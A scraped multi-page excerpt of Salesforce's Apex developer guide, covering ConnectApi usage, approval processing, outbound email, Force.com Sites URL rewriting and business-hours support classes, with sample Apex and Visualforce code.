  • 280. Using Salesforce Features with Apex Feed Type Using ConnectApi Input and Output Classes Chatter REST API Resource Chatter in Apex Method (communityIdOrNull, ConnectApi.FeedType.News, 'me') See Also: ChatterFavorites Class ChatterFeeds Class Using ConnectApi Input and Output Classes Some classes in the ConnectApi namespace contain static methods that access Chatter REST API data. The ConnectApi namespace also contains input classes to pass as parameters and output classes that can be returned by calls to the static methods. ConnectApi methods take either simple or complex types. Simple types are primitive Apex data like integers and strings. Complex types are ConnectApi input objects. The successful execution of a ConnectApi method can return an output object from the ConnectApi namespace. ConnectApi output objects can be made up of other output objects. For example, ActorWithId contains simple properties such as id and url, and also a sub-object, reference. See Also: ConnectApi Input Classes ConnectApi Output Classes Accessing ConnectApi Data in Communities and Portals Most ConnectApi methods work within the context of a single community. Many ConnectApi methods include communityId as the first argument. If you do not have communities enabled, use 'internal' or null for this argument. If you have communities enabled, the communityId argument specifies whether to execute a method in the context of the default community (by specifying 'internal' or null) or in the context of a specific community (by specifying a community ID). Any entity, such as a comment, a feed item, and so on, referred to by other arguments in the method must be located in the specified community. The specified community ID is used in all URLs returned in the output. To access the data in a partner portal or a Customer Portal, use a community ID for the communityId argument. You cannot use 'internal' or null. Most URLs returned in ConnectApi output objects are Chatter REST API resources. If you specify a community ID, URLs returned in the output use the following format: /connect/communities/communityId/resource If you specify 'internal', URLs returned in the output use the same format: /connect/communities/internal/resource 256
  • 281. Using Salesforce Features with Apex Understanding Limits for ConnectApi Classes If you specify null, URLs returned in the output use one of these formats: /chatter/resource /connect/resource Understanding Limits for ConnectApi Classes Limits for methods in the ConnectApi namespace are different than the limits for other Apex classes. For classes in the ConnectApi namespace, every write operation costs one DML statement against the Apex governor limit. ConnectApi method calls are also subject to rate limiting. ConnectApi rate limits match Chatter REST API rate limits. Both have a per user, per namespace, per hour rate limit. When you exceed the rate limit, a ConnectApi.RateLimitException is thrown. Your Apex code must catch and handle this exception. When testing code, a call to the Apex Test.startTest method starts a new rate limit count. A call to the Test.stopTest method sets your rate limit count to the value it was before you called Test.startTest. Serializing and Deserializing ConnectApi Obejcts When ConnectApi output objects are serialized into JSON, the structure is similar to the JSON returned from Chatter REST API. When ConnectApi input objects are deserialized from JSON, the format is also similar to Chatter REST API. Chatter in Apex supports serialization and deserialization in the following Apex contexts: • • • JSON and JSONParser classes—serialize Chatter in Apex outputs to JSON and deserialize Chatter in Apex inputs from JSON. Apex REST with @RestResource—serialize Chatter in Apex outputs to JSON as return values and deserialize Chatter in Apex inputs from JSON as parameters. JavaScript Remoting with @RemoteAction—serialize Chatter in Apex outputs to JSON as return values and deserialize Chatter in Apex inputs from JSON as parameters. Chatter in Apex follows these rules for serialization and deserialization: • • • Only output objects can be serialized. Only top-level input objects can be deserialized. Enum values and exceptions cannot be serialized or deserialized. ConnectApi Versioning and Equality Checking Versioning in ConnectApi classes follows specific rules that are quite different than the rules for other Apex classes. Versioning for ConnectApi classes follows these rules: • • • • A ConnectApi method call executes in the context of the version of the class that contains the method call. The use of version is analogous to the /vXX.X section of a Chatter REST API URL. Each ConnectApi output object exposes a getBuildVersion method. This method returns the version under which the method that created the output object was invoked. When interacting with input objects, Apex can access only properties supported by the version of the enclosing Apex class. Input objects passed to a ConnectApi method may contain only non-null properties that are supported by the version of the Apex class executing the method. If the input object contains version-inappropriate properties, an exception is thrown. 257
  • 282. Using Salesforce Features with Apex Casting ConnectApi Objects The output of the toString method only returns properties that are supported in the version of the code interacting with the object. For output objects, the returned properties must also be supported in the build version. Apex REST, JSON.serialize, and @RemoteAction serialization include only version-appropriate properties. Apex REST, JSON.deserialize, and @RemoteAction deserialization reject properties that are version-inappropriate. • • • Equality checking for ConnectApi classes follows these rules: Input objects—properties are compared. Output objects—properties and build versions are compared. For example, if two objects have the same properties with the same values but have different build versions, the objects are not equal. To get the build version, call getBuildVersion. • • Casting ConnectApi Objects It may be useful to downcast some ConnectApi output objects to a more specific type. This technique is especially useful for message segments and feed item attachments. Message segments in a feed item are typed as ConnectApi.MessageSegment. Feed item attachments are typed as ConnectApi.FeedItemAttachment. Record fields are typed as ConnectApi.AbstractRecordField. These classes are all abstract and have several concrete subclasses. At runtime you can use instanceof to check the concrete types of these objects and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown subclasses. The following example downcasts a ConnectApi.MessageSegment to a ConnectApi.MentionSegment: if(segment instanceof ConnectApi.MentionSegment) { ConnectApi.MentionSegment = (ConnectApi.MentionSegment)segment; } Important: The composition of a feed may change between releases. Your code should always be prepared to handle instances of unknown subclasses. See ConnectApi.AbstractRecordField Class, ConnectApi.FeedItemAttachment Class, and ConnectApi.MessageSegment Class. Wildcards Use wildcard characters to match text patterns in Chatter REST API and Chatter in Apex searches. A common use for wildcards is searching a feed. Pass a search string and wildcards in the q parameter. This example is a Chatter REST API request: /chatter/feed-items?q=chat* This example is a Chatter in Apex method call: ConnectApi.ChatterFeeds.searchFeedItems(null, 'chat*'); You can specify the following wildcard characters to match text patterns in your search: Wildcard Description * Asterisks match zero or more characters at the middle or end (not the beginning) of your search term. For example, a search for john* finds items that start with john, such as, john, johnson, or johnny. A search for 258
  • 283. Using Salesforce Features with Apex Wildcard Testing ConnectApi Code Description mi* meyers finds items with mike meyers or michael meyers. If you are searching for a literal asterisk in a word or phrase, then escape the asterisk (precede it with the character). ? Question marks match only one character in the middle or end (not the beginning) of your search term. For example, a search for jo?n finds items with the term john or joan but not jon or johan. When using wildcards, consider the following issues: • • • • • Wildcards take on the type of the preceding character. For example, aa*a matches aaaa and aabcda, but not aa2a or aa.!//a, and p?n matches pin and pan, but not p1n or p!n. Likewise, 1?3 matches 123 and 143, but not 1a3 or 1b3. A wildcard (*) is appended at the end of single characters in Chinese, Japanese, Korean, and Thai (CJKT) searches, except in exact phrase searches. The more focused your wildcard search, the faster the search results are returned, and the more likely the results will reflect your intention. For example, to search for all occurrences of the word prospect (or prospects, the plural form), it is more efficient to specify prospect* in the search string than to specify a less restrictive wildcard search (such as prosp*) that could return extraneous matches (such as prosperity). Tailor your searches to find all variations of a word. For example, to find property and properties, you would specify propert*. Punctuation is indexed. To find * or ? inside a phrase, you must enclose your search string in quotation marks and you must escape the special character. For example, "where are you?" finds the phrase where are you?. The escape character () is required in order for this search to work correctly. Testing ConnectApi Code Like all Apex code, Chatter in Apex code requires test coverage. Chatter in Apex methods don’t run in system mode, they run in the context of the current user (also called the context user or the logged-in user). The methods have access to whatever the current user has access to. Chatter in Apex does not support the runAs system method. Most Chatter in Apex method calls require access to real organization data, and fail if used in test methods not marked @IsTest(SeeAllData=true). Some Chatter in Apex methods, such as getFeedItemsFromFeed, are not permitted to access organization data in tests and must be used in conjunction with special test methods that register outputs to be returned in a test context. A test method name prepends setTest to the regular method name. The test method has a signature (combination of arguments) to match every signature of the regular method. If the regular method has three overloads, the test method has three overloads. Using Chatter in Apex test methods is similar to testing Web services in Apex. First, build the data you expect the method to return. To build data, create output objects and set their properties. To create objects, you can use no-argument constructors for any non-abstract output classes. After you build the data, call the test method to register the data. Call the test method that has the same signature as the regular method you’re testing. After you register the test data, run the regular method. When you run the regular method, the value that was registered with matching arguments is returned. Important: You must use the test method signature that matches the regular method signature. When you call the regular method, if data wasn't registered with the matching set of arguments, you receive an exception. This table shows which methods are associated with which test methods: 259
  • 284. Using Salesforce Features with Apex Differences Between ConnectApi Classes and Other Apex Classes Get Method Test Method getFeedItems setTestGetFeedItems getFeedItemsFromFeed setTestGetFeedItemsFromFeed getFeedItemsFromFilterFeed setTestGetFeedItemsFromFilterFeed searchFeedItemsInFeed setTestSearchFeedItemsInFeed searchFeedItemsInFilterFeed setTestSearchFeedItemsInFilterFeed This example shows a test that constructs an ConnectApi.FeedItemPage and registers it to be returned when getFeedItemsFromFeed is called with a particular combination of parameters. global class NewsFeedClass { global static Integer getNewsFeedCount() { ConnectApi.FeedItemPage items = ConnectApi.ChatterFeeds.getFeedItemsFromFeed(null, ConnectApi.FeedType.News, 'me'); return items.items.size(); } } @isTest private class NewsFeedClassTest { @IsTest static void doTest() { // Build a simple feed item ConnectApi.FeedItemPage testPage = new ConnectApi.FeedItemPage(); List<ConnectApi.FeedItem> testItemList = new List<ConnectApi.FeedItem>(); testItemList.add(new ConnectApi.FeedItem()); testItemList.add(new ConnectApi.FeedItem()); testPage.items = testItemList; // Set the test data ConnectApi.ChatterFeeds.setTestGetFeedItemsFromFeed(null, ConnectApi.FeedType.News, 'me', testPage); // The method returns the test page, which we know has two items in it. Test.startTest(); System.assertEquals(2, NewsFeedClass.getNewsFeedCount()); Test.stopTest(); } } Differences Between ConnectApi Classes and Other Apex Classes Please be aware of these additional differences between ConnectApi classes and other Apex classes. System mode and context user Chatter in Apex methods don’t run in system mode, they run in the context of the current user (also called the context user or the logged-in user). The methods have access to whatever the current user has access to. Chatter in Apex does not support the runAs system method. When a method takes a subjectId argument, often that subject must be the context user. In these cases, you can use the string me to specify the context user instead of an ID. with sharing and without sharing Chatter in Apex ignores the with sharing and without sharing keywords. Instead, all security, field level sharing, and visibility is controlled by the context user. For example, if a context user is a member of a private group, ConnectApi 260
  • 285. Using Salesforce Features with Apex Approval Processing classes can post to that group. If the context user is not a member of a private group, the code can’t see the feed items for that group and cannot post to the group. Asynchronous operations Some Chatter in Apex operations are asynchronous, that is, they don’t occur immediately. For example, if your code adds a feed item for a user, it is not immediately available in the news feed. Another example: when you add a photo, it is not available immediately. For testing, this means that if you add a photo, you can’t retrieve it immediately. No XML Support in Apex REST Apex REST does not support XML serialization and deserialization of Chatter in Apex objects. Apex REST does support JSON serialization and deserialization of Chatter in Apex objects. Empty log entries Information about Chatter in Apex objects doesn’t appear in VARIABLE_ASSIGNMENT log events. No Apex SOAP Web services support Chatter in Apex objects cannot be used in Apex SOAP Web services indicated with the keyword webservice. Approval Processing An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that meet certain administrator-defined criteria. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. Apex provides support for creating a programmatic approval process to extend your existing approval processes with the following: • The Apex process classes: Use these to create approval requests, as well as process the results of those requests. For more information, see the following: ◊ ◊ ◊ ◊ • ProcessRequest Class ProcessResult Class ProcessSubmitRequest Class ProcessWorkitemRequest Class The Approval namespace process method: Use this to submit an approval request, as well as approve or reject existing approval requests. For more information, see Approval Class. Note: The process method counts against the DML limits for your organization. See Understanding Execution Governors and Limits. For more information on approval processes, see “Getting Started with Approval Processes” in the Salesforce online help. Apex Approval Processing Example 261
  • 286. Using Salesforce Features with Apex Apex Approval Processing Example Apex Approval Processing Example The following sample code initially submits a record for approval, then approves the request. This example requires an approval process to be set up for accounts. public class TestApproval { void submitAndProcessApprovalRequest() { // Insert an account Account a = new Account(Name='Test',annualRevenue=100.0); insert a; // Create an approval request for the account Approval.ProcessSubmitRequest req1 = new Approval.ProcessSubmitRequest(); req1.setComments('Submitting request for approval.'); req1.setObjectId(a.id); // Submit the approval request for the account Approval.ProcessResult result = Approval.process(req1); // Verify the result System.assert(result.isSuccess()); System.assertEquals( 'Pending', result.getInstanceStatus(), 'Instance Status'+result.getInstanceStatus()); // Approve the submitted request // First, get the ID of the newly created item List<Id> newWorkItemIds = result.getNewWorkitemIds(); // Instantiate the new ProcessWorkitemRequest object and populate it Approval.ProcessWorkitemRequest req2 = new Approval.ProcessWorkitemRequest(); req2.setComments('Approving request.'); req2.setAction('Approve'); req2.setNextApproverIds(new Id[] {UserInfo.getUserId()}); // Use the ID from the newly created item to specify the item to be worked req2.setWorkitemId(newWorkItemIds.get(0)); // Submit the request for approval Approval.ProcessResult result2 = Approval.process(req2); // Verify the results System.assert(result2.isSuccess(), 'Result Status:'+result2.isSuccess()); System.assertEquals( 'Approved', result2.getInstanceStatus(), 'Instance Status'+result2.getInstanceStatus()); } } Outbound Email You can use Apex to send individual and mass email. The email can include all standard email attributes (such as subject line and blind carbon copy address), use Salesforce email templates, and be in plain text or HTML format, or those generated by Visualforce. 262
  • 287. Using Salesforce Features with Apex Outbound Email Note: Visualforce email templates cannot be used for mass email. You can use Salesforce to track the status of email in HTML format, including the date the email was sent, first opened and last opened, and the total number of times it was opened. (For more information, see “Tracking HTML Email” in the Salesforce online help.) To send individual and mass email with Apex, use the following classes: SingleEmailMessage Instantiates an email object used for sending a single email message. The syntax is: Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); MassEmailMessage Instantiates an email object used for sending a mass email message. The syntax is: Messaging.MassEmailMessage mail = new Messaging.MassEmailMessage(); Messaging Includes the static sendEmail method, which sends the email objects you instantiate with either the SingleEmailMessage or MassEmailMessage classes, and returns a SendEmailResult object. The syntax for sending an email is: Messaging.sendEmail(new Messaging.Email[] { mail } , opt_allOrNone); where Email is either Messaging.SingleEmailMessage or Messaging.MassEmailMessage. The optional opt_allOrNone parameter specifies whether sendEmail prevents delivery of all other messages when any of the messages fail due to an error (true), or whether it allows delivery of the messages that don't have errors (false). The default is true. Includes the static reserveMassEmailCapacity and reserveSingleEmailCapacity methods, which can be called before sending any emails to ensure that the sending organization won't exceed its daily email limit when the transaction is committed and emails are sent. The syntax is: Messaging.reserveMassEmailCapacity(count); and Messaging.reserveSingleEmailCapacity(count); where count indicates the total number of addresses that emails will be sent to. Note the following: • • • The email is not sent until the Apex transaction is committed. The email address of the user calling the sendEmail method is inserted in the From Address field of the email header. All email that is returned, bounced, or received out-of-office replies goes to the user calling the method. Maximum of 10 sendEmail methods per transaction. Use the Limits methods to verify the number of sendEmail methods in a transaction. 263
  • 288. Using Salesforce Features with Apex • • • Outbound Email Single email messages sent with the sendEmail method count against the sending organization's daily single email limit. When this limit is reached, calls to the sendEmail method using SingleEmailMessage are rejected, and the user receives a SINGLE_EMAIL_LIMIT_EXCEEDED error code. However, single emails sent through the application are allowed. Mass email messages sent with the sendEmail method count against the sending organization's daily mass email limit. When this limit is reached, calls to the sendEmail method using MassEmailMessage are rejected, and the user receives a MASS_MAIL_LIMIT_EXCEEDED error code. Any error returned in the SendEmailResult object indicates that no email was sent. Messaging.SingleEmailMessage has a method called setOrgWideEmailAddressId. It accepts an object ID to an OrgWideEmailAddress object. If setOrgWideEmailAddressId is passed a valid ID, the OrgWideEmailAddress.DisplayName field is used in the email header, instead of the logged-in user's Display Name. The sending email address in the header is also set to the field defined in OrgWideEmailAddress.Address. Note: If both OrgWideEmailAddress.DisplayName and setSenderDisplayName are defined, the user receives a DUPLICATE_SENDER_DISPLAY_NAME error. For more information, see Organization-Wide Addresses in the Salesforce online help. Example // First, reserve email capacity for the current Apex transaction to ensure // that we won't exceed our daily email limits when sending email after // the current transaction is committed. Messaging.reserveSingleEmailCapacity(2); // Processes and actions involved in the Apex transaction occur next, // which conclude with sending a single email. // Now create a new single email message object // that will send out a single email to the addresses in the To, CC & BCC list. Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); // Strings to hold the email addresses to which you are sending the email. String[] toAddresses = new String[] {'user@acme.com'}; String[] ccAddresses = new String[] {'smith@gmail.com'}; // Assign the addresses for the To and CC lists to the mail object. mail.setToAddresses(toAddresses); mail.setCcAddresses(ccAddresses); // Specify the address used when the recipients reply to the email. mail.setReplyTo('support@acme.com'); // Specify the name used as the display name. mail.setSenderDisplayName('Salesforce Support'); // Specify the subject line for your email address. mail.setSubject('New Case Created : ' + case.Id); // Set to True if you want to BCC yourself on the email. mail.setBccSender(false); // Optionally append the salesforce.com email signature to the email. // The email address of the user executing the Apex Code will be used. mail.setUseSignature(false); // Specify the text content of the email. mail.setPlainTextBody('Your Case: ' + case.Id +' has been created.'); mail.setHtmlBody('Your case:<b> ' + case.Id +' </b>has been created.<p>'+ 'To view your case <a href=https://na1.salesforce.com/'+case.Id+'>click here.</a>'); 264
  • 289. Using Salesforce Features with Apex Inbound Email // Send the email you have created. Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail }); Inbound Email You can use Apex to receive and process email and attachments. The email is received by the Apex email service, and processed by Apex classes that utilize the InboundEmail object. Note: The Apex email service is only available in Developer, Enterprise, Unlimited, and Performance Edition organizations. See Apex Email Service. Knowledge Management Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly find and view the articles they need. Users can write, publish, archive, and manage articles using Apex in addition to the Salesforce user interface. Use the methods in the KbManagement.PublishingService class to manage the following parts of the lifecycle of an article and its translations: • • • • • • • • Publishing Updating Retrieving Deleting Submitting for translation Setting a translation to complete or incomplete status Archiving Assigning review tasks for draft articles or translations Note: Date values are based on GMT. To use the methods in this class, you must enable Salesforce Knowledge. See Salesforce Knowledge Implementation Guide for more information on setting up Salesforce Knowledge. See Also: PublishingService Class Publisher Actions Note: In the application, QuickActions are referred to as actions or publisher actions. The publisher actions feature lets you create actions and add them to the Chatter publisher on the home page, the Chatter tab, and record detail pages. It also allows you to customize the order in which the standard Chatter actions appear, including Post, File, Link, and Poll. 265
  • 290. Using Salesforce Features with Apex Force.com Sites There are four general types of actions: create actions, log-a-call actions, update actions, and custom actions. • • Create actions let users create records. They’re different from the Quick Create and Create New features on the home page, because create actions respect validation rules and field requiredness, and you can choose each action’s fields. Custom actions are Visualforce pages or canvas apps with functionality you define. For example, you might create a custom action to let users write comments longer than 5000 characters, or one that integrates a video conferencing application so support agents can communicate visually with customers. For create, log-a-call, and custom actions, you can create either object-specific actions or global actions. Update actions must be object-specific. For more information on publisher actions, see the online help. See Also: QuickAction Class QuickActionRequest Class QuickActionResult Class DescribeQuickActionResult Class DescribeQuickActionDefaultValue Class DescribeLayoutSection Class DescribeLayoutRow Class DescribeLayoutItem Class DescribeLayoutComponent Class DescribeAvailableQuickActionResult Class Force.com Sites Force.com Sites lets you build custom pages and Web applications by inheriting Force.com capabilities including analytics, workflow and approvals, and programmable logic. You can manage your Force.com sites in Apex using the methods of the Site and Cookie classes. See Also: Site Class Rewriting URLs for Force.com Sites Sites provides built-in logic that helps you display user-friendly URLs and links to site visitors. Create rules to rewrite URL requests typed into the address bar, launched from bookmarks, or linked from external websites. You can also create rules to rewrite the URLs for links within site pages. URL rewriting not only makes URLs more descriptive and intuitive for users, it allows search engines to better index your site pages. For example, let's say that you have a blog site. Without URL rewriting, a blog entry's URL might look like this: http://myblog.force.com/posts?id=003D000000Q0PcN With URL rewriting, your users can access blog posts by date and title, say, instead of by record ID. The URL for one of your New Year's Eve posts might be: http://myblog.force.com/posts/2009/12/31/auld-lang-syne You can also rewrite URLs for links shown within a site page. If your New Year's Eve post contained a link to your Valentine's Day post, the link URL might show: http://myblog.force.com/posts/2010/02/14/last-minute-roses 266
  • 291. Using Salesforce Features with Apex Rewriting URLs for Force.com Sites To rewrite URLs for a site, create an Apex class that maps the original URLs to user-friendly URLs, and then add the Apex class to your site. To learn about the methods in the Site.UrlRewriter interface, see UrlRewriter. Creating the Apex Class The Apex class that you create must implement the Force.com provided interface Site.UrlRewriter. In general, it must have the following form: global class yourClass implements Site.UrlRewriter { global PageReference mapRequestUrl(PageReference yourFriendlyUrl) global PageReference[] generateUrlFor(PageReference[] yourSalesforceUrls); } Consider the following restrictions and recommendations as you create your Apex class: Class and Methods Must Be Global The Apex class and methods must all be global. Class Must Include Both Methods The Apex class must implement both the mapRequestUrl and generateUrlFor methods. If you don't want to use one of the methods, simply have it return null. Rewriting Only Works for Visualforce Site Pages Incoming URL requests can only be mapped to Visualforce pages associated with your site. You can't map to standard pages, images, or other entities. To rewrite URLs for links on your site's pages, use the !URLFOR function with the $Page merge variable. For example, the following links to a Visualforce page named myPage: <apex:outputLink value="{!URLFOR($Page.myPage)}"></apex:outputLink> Note: Visualforce <apex:form> elements with forceSSL=”true” aren't affected by the urlRewriter. See the “Functions” appendix of the Visualforce Developer's Guide. Encoded URLs The URLs you get from using the Site.urlRewriter interface are encoded. If you need to access the unencoded values of your URL, use the urlDecode method of the EncodingUtil Class. Restricted Characters User-friendly URLs must be distinct from Salesforce URLs. URLs with a three-character entity prefix or a 15- or 18-character ID are not rewritten. You can't use periods in your rewritten URLs. Restricted Strings You can't use the following reserved strings as part of a rewritten URL path: • apexcomponent • apexpages • ex • faces 267
  • 292. Using Salesforce Features with Apex • • • • • • • • • • • • • • • • • • • • • • • Rewriting URLs for Force.com Sites flash flex google home ideas images img javascript js lumen m resource search secur services servlet setup sfc sfdc_ns site style vote widg Relative Paths Only The PageReference.getUrl() method only returns the part of the URL immediately following the host name or site prefix (if any). For example, if your URL is http://mycompany.force.com/sales/MyPage?id=12345, where “sales” is the site prefix, only /MyPage?id=12345 is returned. You can't rewrite the domain or site prefix. Unique Paths Only You can't map a URL to a directory that has the same name as your site prefix. For example, if your site URL is http://acme.force.com/help, where “help” is the site prefix, you can't point the URL to help/page. The resulting path, http://acme.force.com/help/help/page, would be returned instead as http://acme.force.com/help/page. Query in Bulk For better performance with page generation, perform tasks in bulk rather than one at a time for the generateUrlFor method. Enforce Field Uniqueness Make sure the fields you choose for rewriting URLs are unique. Using unique or indexed fields in SOQL for your queries may improve performance. You can also use the Site.lookupIdByFieldValue method to look up records by a unique field name and value. The method verifies that the specified field has a unique or external ID; otherwise it returns an error. Here is an example, where mynamespace is the namespace, Blog is the custom object name, title is the custom field name, and myBlog is the value to look for: Site.lookupIdByFieldValue(Schema.sObjectType. mynamespace__Blog__c.fields.title__c,'myBlog'); 268
  • 293. Using Salesforce Features with Apex Rewriting URLs for Force.com Sites Adding URL Rewriting to a Site Once you've created the URL rewriting Apex class, follow these steps to add it to your site: 1. 2. 3. 4. From Setup, click Develop > Sites. Click New or click Edit for an existing site. On the Site Edit page, choose an Apex class for URL Rewriter Class. Click Save. Note: If you have URL rewriting enabled on your site, all PageReferences are passed through the URL rewriter. Code Example In this example, we have a simple site consisting of two Visualforce pages: mycontact and myaccount. Be sure you have “Read” permission enabled for both before trying the sample. Each page uses the standard controller for its object type. The contact page includes a link to the parent account, plus contact details. Before implementing rewriting, the address bar and link URLs showed the record ID (a random 15-digit string), illustrated in the Figure 5: Site URLs Before Rewriting. Once rewriting was enabled, the address bar and links show more user-friendly rewritten URLs, illustrated in the Figure 6: Site URLs After Rewriting. The Apex class used to rewrite the URLs for these pages is shown in Example URL Rewriting Apex Class, with detailed comments. Example Site Pages This section shows the Visualforce for the account and contact pages used in this example. The account page uses the standard controller for accounts and is nothing more than a standard detail page. This page should be named myaccount. <apex:page standardController="Account"> <apex:detail relatedList="false"/> </apex:page> The contact page uses the standard controller for contacts and consists of two parts. The first part links to the parent account using the URLFOR function and the $Page merge variable; the second simply provides the contact details. Notice that the Visualforce page doesn't contain any rewriting logic except URLFOR. This page should be named mycontact. <apex:page standardController="contact"> <apex:pageBlock title="Parent Account"> <apex:outputLink value="{!URLFOR($Page.mycontact,null, [id=contact.account.id])}">{!contact.account.name} </apex:outputLink> </apex:pageBlock> <apex:detail relatedList="false"/> </apex:page> Example URL Rewriting Apex Class The Apex class used as the URL rewriter for the site uses the mapRequestUrl method to map incoming URL requests to the right Salesforce record. It also uses the generateUrlFor method to rewrite the URL for the link to the account page in a more user-friendly form. global with sharing class myRewriter implements Site.UrlRewriter { //Variables to represent the user-friendly URLs for //account and contact pages String ACCOUNT_PAGE = '/myaccount/'; 269
  • 294. Using Salesforce Features with Apex Rewriting URLs for Force.com Sites String CONTACT_PAGE = '/mycontact/'; //Variables to represent my custom Visualforce pages //that display account and contact information String ACCOUNT_VISUALFORCE_PAGE = '/myaccount?id='; String CONTACT_VISUALFORCE_PAGE = '/mycontact?id='; global PageReference mapRequestUrl(PageReference myFriendlyUrl){ String url = myFriendlyUrl.getUrl(); if(url.startsWith(CONTACT_PAGE)){ //Extract the name of the contact from the URL //For example: /mycontact/Ryan returns Ryan String name = url.substring(CONTACT_PAGE.length(), url.length()); //Select the ID of the contact that matches //the name from the URL Contact con = [SELECT Id FROM Contact WHERE Name =: name LIMIT 1]; //Construct a new page reference in the form //of my Visualforce page return new PageReference(CONTACT_VISUALFORCE_PAGE + con.id); } if(url.startsWith(ACCOUNT_PAGE)){ //Extract the name of the account String name = url.substring(ACCOUNT_PAGE.length(), url.length()); //Query for the ID of an account with this name Account acc = [SELECT Id FROM Account WHERE Name =:name LIMIT 1]; //Return a page in Visualforce format return new PageReference(ACCOUNT_VISUALFORCE_PAGE + acc.id); } //If the URL isn't in the form of a contact or //account page, continue with the request return null; } global List<PageReference> generateUrlFor(List<PageReference> mySalesforceUrls){ //A list of pages to return after all the links //have been evaluated List<PageReference> myFriendlyUrls = new List<PageReference>(); //a list of all the ids in the urls List<id> accIds = new List<id>(); // loop through all the urls once, finding all the valid ids for(PageReference mySalesforceUrl : mySalesforceUrls){ //Get the URL of the page String url = mySalesforceUrl.getUrl(); //If this looks like an account page, transform it if(url.startsWith(ACCOUNT_VISUALFORCE_PAGE)){ //Extract the ID from the query parameter //and store in a list //for querying later in bulk. String id= url.substring(ACCOUNT_VISUALFORCE_PAGE.length(), url.length()); accIds.add(id); } } // Get all the account names in bulk List <account> accounts = [SELECT Name FROM Account WHERE Id IN :accIds]; // make the new urls Integer counter = 0; 270
  • 295. Using Salesforce Features with Apex Rewriting URLs for Force.com Sites // it is important to go through all the urls again, so that the order // of the urls in the list is maintained. for(PageReference mySalesforceUrl : mySalesforceUrls) { //Get the URL of the page String url = mySalesforceUrl.getUrl(); if(url.startsWith(ACCOUNT_VISUALFORCE_PAGE)){ myFriendlyUrls.add(new PageReference(ACCOUNT_PAGE + accounts.get(counter).name)); counter++; } else { //If this doesn't start like an account page, //don't do any transformations myFriendlyUrls.add(mySalesforceUrl); } } //Return the full list of pages return myFriendlyUrls; } } Before and After Rewriting Here is a visual example of the results of implementing the Apex class to rewrite the original site URLs. Notice the ID-based URLs in the first figure, and the user-friendly URLs in the second. Figure 5: Site URLs Before Rewriting The numbered elements in this figure are: 1. The original URL for the contact page before rewriting 2. The link to the parent account page from the contact page 3. The original URL for the link to the account page before rewriting, shown in the browser's status bar 271
  • 296. Using Salesforce Features with Apex Support Classes Figure 6: Site URLs After Rewriting The numbered elements in this figure are: 1. The rewritten URL for the contact page after rewriting 2. The link to the parent account page from the contact page 3. The rewritten URL for the link to the account page after rewriting, shown in the browser's status bar Support Classes Support classes allow you to interact with records commonly used by support centers, such as business hours and cases. Working with Business Hours Business hours are used to specify the hours at which your customer support team operates, including multiple business hours in multiple time zones. This example finds the time one business hour from startTime, returning the Datetime in the local time zone. It gets the default business hours by querying BusinessHours. Also, it calls the BusinessHours add method. // Get the default business hours BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true]; // Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone. Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8); // Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the // default business hours. The returned Datetime will be in the local timezone. Datetime nextTime = BusinessHours.add(bh.id, startTime, 60 * 60 * 1000L); This example finds the time one business hour from startTime, returning the Datetime in GMT: // Get the default business hours BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true]; // Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone. Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8); // Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the 272
  • 297. Using Salesforce Features with Apex Visual Workflow // default business hours. The returned Datetime will be in GMT. Datetime nextTimeGmt = BusinessHours.addGmt(bh.id, startTime, 60 * 60 * 1000L); The next example finds the difference between startTime and nextTime: // Get the default business hours BusinessHours bh = [select id from businesshours where IsDefault=true]; // Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone. Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8); // Create Datetime on May 28, 2008 at 4:06:08 PM in local timezone. Datetime endTime = Datetime.newInstance(2008, 5, 28, 16, 6, 8); // Find the number of business hours milliseconds between startTime and endTime as // defined by the default business hours. Will return a negative value if endTime is // before startTime, 0 if equal, positive value otherwise. Long diff = BusinessHours.diff(bh.id, startTime, endTime); Working with Cases Incoming and outgoing email messages can be associated with their corresponding cases using the Cases class getCaseIdFromEmailThreadId method. This method is used with Email-to-Case, which is an automated process that turns emails received from customers into customer service cases. The following example uses an email thread ID to retrieve the related case ID. public class GetCaseIdController { public static void getCaseIdSample() { // Get email thread ID String emailThreadId = '_00Dxx1gEW._500xxYktg'; // Call Apex method to retrieve case ID from email thread ID ID caseId = Cases.getCaseIdFromEmailThreadId(emailThreadId); } } See Also: BusinessHours Class Cases Class Visual Workflow Visual Workflow allows administrators to build applications, known as flows, that guide users through screens for collecting and updating data. For example, you can use Visual Workflow to script calls for a customer support center or to generate real-time quotes for a sales organization. You can embed a flow in a Visualforce page and access it in a Visualforce controller using Apex. You can retrieve flow variables for a specific flow in Apex. The Flow.Interview Apex class provides the getVariableValue method for retrieving a flow variable, which can be in the flow embedded in the Visualforce page, or in a separate flow that is called by a subflow element. This example shows how to use this method to obtain breadcrumb (navigation) information from the flow embedded in the Visualforce page. If that flow contains subflow elements, and each of the referenced flows also contains a vaBreadCrumb variable, the Visualforce page can provide users with breadcrumbs regardless of which flow the interview is running. public class SampleContoller { 273
